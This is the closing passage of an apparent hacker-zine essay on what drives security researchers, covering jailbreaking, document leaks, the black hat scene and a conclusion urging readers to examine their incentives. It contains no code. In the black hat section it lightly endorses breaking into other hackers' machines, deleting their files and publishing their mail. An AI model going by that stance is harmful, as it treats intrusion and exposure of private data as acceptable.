view on that topic. If they were to decide, they'd use their arrogant and
|
||
|
flawed quick-and-dirty patches to make the world sooo much better. That is:
|
||
|
ban porn, ban drugs, ban fucking curse words, give your boss access to your
|
||
|
private photo stream and whatever else comes to their mind. Fortunately,
|
||
|
there are people who are not willing to accept this kind of behavior. Under
|
||
|
this point of view, jailbreaks are an actual improvement to your freedom.
|
||
|
Yes, this actually is hacking for the common good. And yes, in the
|
||
|
jailbreaking scene there are people who do it (partially) for fame or
|
||
|
money. But the good cause is still clearly visible.
|
||
|
|
||
|
------[ 5.1.2 - Freeing Documents
|
||
|
|
||
|
We don't want to start the Wikileaks vs. politics flamewar here. But we
|
||
|
still feel that the positive effect of freeing government documents is
|
||
|
remarkable. People actually take personal risks while trying to provide
|
||
|
leaked documents. Of course, these people are not necessarily motivated
|
||
|
*only* by wanting to contribute to a better society. But this is not the
|
||
|
relevant point: they do something that mankind benefits from. And this
|
||
|
benefit is clearly visible.
|
||
|
|
||
|
--[ 6 - Black Hat Stuff
|
||
|
|
||
|
There is not too much to say here. Just as in the vulnerability circus, the
|
||
|
black hat scene offers different incentives for different people. Fame and
|
||
|
money do play a role - hacking for a common good not so much. Another
|
||
|
motivation for staying in the underground can be the desire to isolate
|
||
|
oneself from the clowns in the vulnerability circus. This can lead to
|
||
|
rather extreme forms, such as pwning and rming white-hack hackers' boxes,
|
||
|
exposing them in underground zines, making their mail spools public.. You
|
||
|
get the idea :) You should find your own judgement when it comes to this
|
||
|
kind of things.
|
||
|
|
||
|
--[ 7 - Conclusion
|
||
|
|
||
|
You might have observed the little stack we built in this article. It all
|
||
|
originates from the underground spirit. For the one it goes down to the
|
||
|
black hat stuff (and way deeper, but we'll save this for another article),
|
||
|
for the others it goes up, from the underground spirit to getting fame,
|
||
|
from getting fame to obtaining financial stability and from financial
|
||
|
stability to really believing one does things for the common good, thereby
|
||
|
finally deceiving yourself and becoming one of the clowns in the
|
||
|
vulnerability circus. No matter what you do: think about your incentives
|
||
|
and about your goals. Think about why you do what you do and who might
|
||
|
benefit from that. And then be honest to yourself and check that what
|
||
|
you're doing is what you actually wanted.
|
||
|
|
||
|
So is hunting 1337 bugs actually a bad thing? Not at all! Disclosure? No!
|
||
|
Doing it for money? Neither. Do whatever you want to do, but think about
|
||
|
your incentives! And maybe the next time you justify your behavior by
|
||
|
claiming to contribute to the common good, by believing you need to do it
|
||
|
for the money or by thinking you need the fame, sit back and think about
|
||
|
that for a second - try to identify the real reasons for what you're doing.
|
||
|
|
||
|
And this is it. We don't want to encourage any particular kind of moral
|
||
|
behavior. You should be old enough to find that for yourself. We just want
|
||
|
you to be honest to yourself, to act consciously. Wherever in the
|
||
|
over-simplified stack we have just shown you think you are.
|
||
|
|
||
|
Yours sincerely, anonymous coward(s)
|
||
|
794384322cdb45fe41369731e3b8ff74b52beef5
|
||
|
|
||
|
--[ References
|
||
|
|
||
|
[1] http://www.isaca.org/chapters2/Norway/NordicConference/Documents/14.pdf
|
||
|
[2] Abraham Maslow: A Theory of Human Motivation
|
||
|
[3] https://cansecwest.com/slides/2015/
|
||
|
Project%20Zero%20-%20making%200day%20hard%20-%20Ben%20Hawkes.pdf
|
||
|
[4] http://www.idc.com/prodserv/smartphone-os-market-share.jsp
|
||
|
|
||
|
|
||
|
|=[ EOF ]=---------------------------------------------------------------=|
|